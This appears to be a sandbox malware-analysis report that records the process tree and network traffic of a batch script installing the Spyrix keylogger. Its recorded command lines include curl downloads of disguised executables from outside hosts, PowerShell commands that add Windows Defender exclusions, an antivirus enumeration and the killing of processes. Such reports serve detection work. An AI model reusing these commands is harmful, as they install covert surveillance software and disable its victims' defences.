2024-10-02 04:11:51 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 416 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:11:51 UTC	416	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 77 69 7a 61 72 64 3a 53 74 61 72 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 6a 6f 6e 65 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 31 33 38 37 32 37 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 37 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 31 3a 34 38 2e 39 38 39 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 6f Data Ascii: &action=app:wizard:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=138727&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&comp_time=2024-10-02 00:11:48.989&prg_lng=english&os_caption= ()&os_type=windows&o
2024-10-02 04:11:51 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49819	158.69.117.119	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:56 UTC	163	OUT	POST /dashboard/prg-list HTTP/1.1 Host: Spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 835 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:11:56 UTC	835	OUT	Data Raw: 26 74 72 69 61 6c 5f 69 64 3d 2d 31 26 6f 73 5f 69 6e 73 74 61 6c 6c 5f 64 61 74 65 3d 32 30 32 33 2d 31 30 2d 30 33 20 30 39 3a 35 37 3a 31 38 26 6f 73 5f 63 6f 75 6e 74 72 79 5f 63 6f 64 65 3d 34 34 20 20 20 20 20 20 20 20 20 20 20 26 64 6e 65 74 3d 34 2e 38 2e 30 34 30 38 34 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 31 30 2e 30 2e 31 39 30 34 35 20 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 6c 69 63 65 6e 73 65 3d 26 61 76 3d 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 63 6f 6d 70 5f 6e 61 Data Ascii: &trial_id=-1&os_install_date=2023-10-03 09:57:18&os_country_code=44 &dnet=4.8.04084&os_caption=Microsoft Windows 10 Pro 10.0.19045 &prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&license=&av=Windows Defender&os_type=windows&prg_lng=english&comp_na
2024-10-02 04:11:57 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49820	158.69.117.119	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:58 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 408 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:11:58 UTC	408	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 53 68 6f 77 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 6a 6f 6e 65 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 31 33 38 37 32 37 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 37 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 31 3a 35 36 2e 31 34 36 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 6f 73 5f 63 6f 75 6e 74 72 Data Ascii: &action=app:Show&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=138727&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&comp_time=2024-10-02 00:11:56.146&prg_lng=english&os_caption= ()&os_type=windows&os_countr
2024-10-02 04:11:59 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:09:54
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\c5WMpr1cOc.bat" "
Imagebase:	0x7ff699680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:09:54
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:09:54
Start date:	02/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg query "HKU\S-1-5-19\Environment"
Imagebase:	0x7ff66bb60000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:09:54
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:09:58
Start date:	02/10/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl.exe --insecure -o "C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe" https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404
Imagebase:	0x7ff76b5f0000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:09:59
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe"
Imagebase:	0x940000
File size:	90'112 bytes
MD5 hash:	D15DAEF371B50FB739401BFDE29DF35A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:10:00
Start date:	02/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:10:02
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\\eb90c874-90f1-477e-bf8d-92cb4599bdb5.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:10:02
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:10:02
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg query "HKU\S-1-5-19\Environment"
Imagebase:	0xf50000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:10:02
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5'"
Imagebase:	0xad0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:10:04
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk
Imagebase:	0xe00000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:10:08
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe
Imagebase:	0xe00000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:10:28
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\181531736511434"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:10:34
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe"
Imagebase:	0x400000
File size:	33'441'448 bytes
MD5 hash:	0F335D8996D82DA30FE9286C671FA0CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:10:34
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp" /SL5="$30454,32862490,227328,C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe"
Imagebase:	0x400000
File size:	1'286'144 bytes
MD5 hash:	BFA3F09DEEE00832D000F497EC5B570A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:10:37
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\d.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:10:37
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:10:37
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:10:37
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Imagebase:	0x5a0000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:10:38
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\d.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8120, Parent PID: 8112

General

Target ID:	25
Start time:	00:10:38
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:10:38
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: WMIC.exePID: 8180, Parent PID: 8164

General

Target ID:	27
Start time:	00:10:38
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Imagebase:	0x5a0000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:10:40
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex.cmd
Imagebase:	0x7ff699680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:10:40
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:10:40
Start date:	02/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex" /y
Imagebase:	0x7ff66bb60000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:10:42
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\pswd.cmd
Imagebase:	0x7ff699680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	00:10:43
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:10:43
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:10:44
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	00:10:47
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:10:48
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	00:10:50
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:10:52
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:10:54
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:10:56
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:10:57
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:10:59
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex.cmd
Imagebase:	0x7ff699680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7980, Parent PID: 7976

General

Target ID:	43
Start time:	00:10:59
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	00:10:59
Start date:	02/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex" /y
Imagebase:	0x7ff66bb60000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	00:11:04
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe
Imagebase:	0x490000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	00:11:04
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	00:11:05
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F
Imagebase:	0x490000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	00:11:05
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	00:11:23
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\regedit.exe
Wow64 process (32bit):	true
